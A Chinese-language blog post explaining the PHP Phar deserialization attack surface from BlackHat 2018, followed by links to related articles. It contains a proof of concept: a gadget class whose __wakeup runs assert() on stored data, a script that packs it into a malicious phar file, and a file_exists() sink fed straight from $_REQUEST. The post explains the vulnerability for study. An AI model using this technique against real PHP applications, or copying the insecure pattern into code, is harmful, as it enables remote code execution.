PHP反序列化漏洞新攻击面(BlackHat 2018)
0x00 前言
入职以来好久没有写过文章了,入职的时间里也和师傅们学到了很多,认识了很多的新朋友。最近因为BlackHat 黑客大会的一个议题,PHP反序列化漏洞利用被挖掘出新的攻击面。这里本着记录学习的目的,有了这篇文章。
0x01 Phar 反序列化
你看到本文,我默认认为你已经对PHP反序列化漏洞原理以及成因有所了解,如果不了解可以参考我之前的文章,这里就不多讲了。根据漏洞的原理,影响PHP反序列化漏洞利用的就一个函数unserialize(),这里所谓新的攻击面就是Phar协议解包时候触发的反序列化漏洞。
首先生成Phar文件,扩展名可以自己定义。代码如下(phar.php):
<?php require_once('Evil.class.php'); $exception = new Evil('phpinfo()'); $phar = new Phar("vul.phar"); $phar->startBuffering(); $phar->addFromString("test.txt", "test"); $phar->setStub("<?php__HALT_COMPILER(); ?>"); $phar->setMetadata($exception); $phar->stopBuffering(); ?>
Evil类的定义如下(Evil.class.php):
<?php class Evil { protected $val; function __construct($val)
{
$this->val = $val;
} function __wakeup() {
assert($this->val);
}
} ?>
在访问第一个文件(Phar.php)之后会生成一个文件名是vul.phar的文件,内容如下:
可以看到中间有序列化之后的字符。其实Phar在打包一个文件的时候是会对其进行序列化的。然后我们访问(test.php), 代码如下:
require_once('Evil.class.php'); if ( file_exists($_REQUEST['url']) ) {
echo 'success!';
} else {
echo 'error!';
}
访问结果如图:
0x02 如何挖掘
从以上的实验中,我们可以得出一个结论,漏洞的利用条件有三点:
第一,存在反序列化的输入点,这里就是存在能够访问的phar归档文件;
第二,存在漏洞触发点,这里是存在类似file_exists这样的函数,并且文件名完整可控;
第三,存在能够利用的类。
其中第三点,我们很清楚,这是反序列化漏洞的必备条件,第二点则相当于原先的unserialize。
PHP反序列化漏洞新攻击面(BlackHat 2018)的更多相关文章
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
- Java反序列化漏洞的挖掘、攻击与防御
一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ...
- 实战经验丨PHP反序列化漏洞总结
又到了金三银四跳槽季,很多小伙伴都开始为面试做准备,今天小编就给大家分享一个网安常见的面试问题:PHP反序列化漏洞. 虽然PHP反序列化漏洞利用的条件比较苛刻,但是一旦被利用就会产生很严重的后果,所以 ...
- [代码审计]四个实例递进php反序列化漏洞理解【转载】
原作者:大方子 原文链接:https://blog.csdn.net/nzjdsds/article/details/82703639 0x01 索引 最近在总结php序列化相关的知识,看了好多前辈师 ...
- Natas33 Writeup(Phar反序列化漏洞)
Natas33: 又是一个上传文件的页面,源码如下: // graz XeR, the first to solve it! thanks for the feedback! // ~morla cl ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- Java反序列化漏洞实现
一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...
- .NET高级代码审计(第三课)Fastjson反序列化漏洞
0X00 前言 Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本,而在.Net领域也有一个Fastjson的库,作者官宣这是一个读写Json效率最高的的.Net 组件,使用内置 ...
- .NET高级代码审计(第四课) JavaScriptSerializer反序列化漏洞
0X00 前言 在.NET处理 Ajax应用的时候,通常序列化功能由JavaScriptSerializer类提供,它是.NET2.0之后内部实现的序列化功能的类,位于命名空间System.Web.S ...
随机推荐
- etl使用表
select * from etl_data_map t;select * from etl_column t;select * from etl_table_def t;select * from ...
- SpringBoot2.0WebFlux响应式编程知识总结
- openssl生成ssl证书(转)
原文:http://blog.sina.com.cn/s/blog_4fd50c390101891c.html x509证书一般会用到三类文,key,csr,crt. Key 是私用密钥openssl ...
- 一文读懂spark yarn集群搭建
文是超简单的spark yarn配置教程: yarn是hadoop的一个子项目,目的是用于管理分布式计算资源,在yarn上面搭建spark集群需要配置好hadoop和spark.我在搭建集群的时候有3 ...
- 一个用户管理的ci框架的小demo--转载
一个ci框架的小demo 最近在学习ci框架,作为一个初学者,在啃完一遍官方文档并也跟着官方文档的例程(新闻发布系统)做了一遍,决定在将之前练习PHP与MySQL数据库的用户管理系统再用ci框架实现一 ...
- LVS初步
LVS初步 一见 目录 目录 1 1. 前言 2 2. 思考 2 3. 名词解释 2 4. OSI参考模型 3 5. LVS架构 4 5.1. 负载均衡器(Load Balancer) 4 5.2. ...
- dojo表格操作的简单示例(建立表格)
代码示例: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w ...
- HDU1412:{A} + {B}
Problem Description 给你两个集合,要求{A} + {B}. 注:同一个集合中不会有两个相同的元素. Input 每组输入数据分为三行,第一行有两个数字n,m(0<n,m& ...
- Angular之constructor和ngOnInit差异及适用场景
constructor会在类生成实例时调用,Angular无法控制constructor,constructor中应该只进行依赖注入而不是进行真正的业务操作 ngOnInit属于Angular生命周期 ...
- ASP.NET IIS 支持PUT、DELETE请求
IIS 本身不支持PUT.DELETE请求,但可以通过一下方法修改进而达到目的 删除IIS安装的WebDav模块,选择你的项目,右边有个“模块”,双击它:找到WebDavModule,删除它(不推荐, ...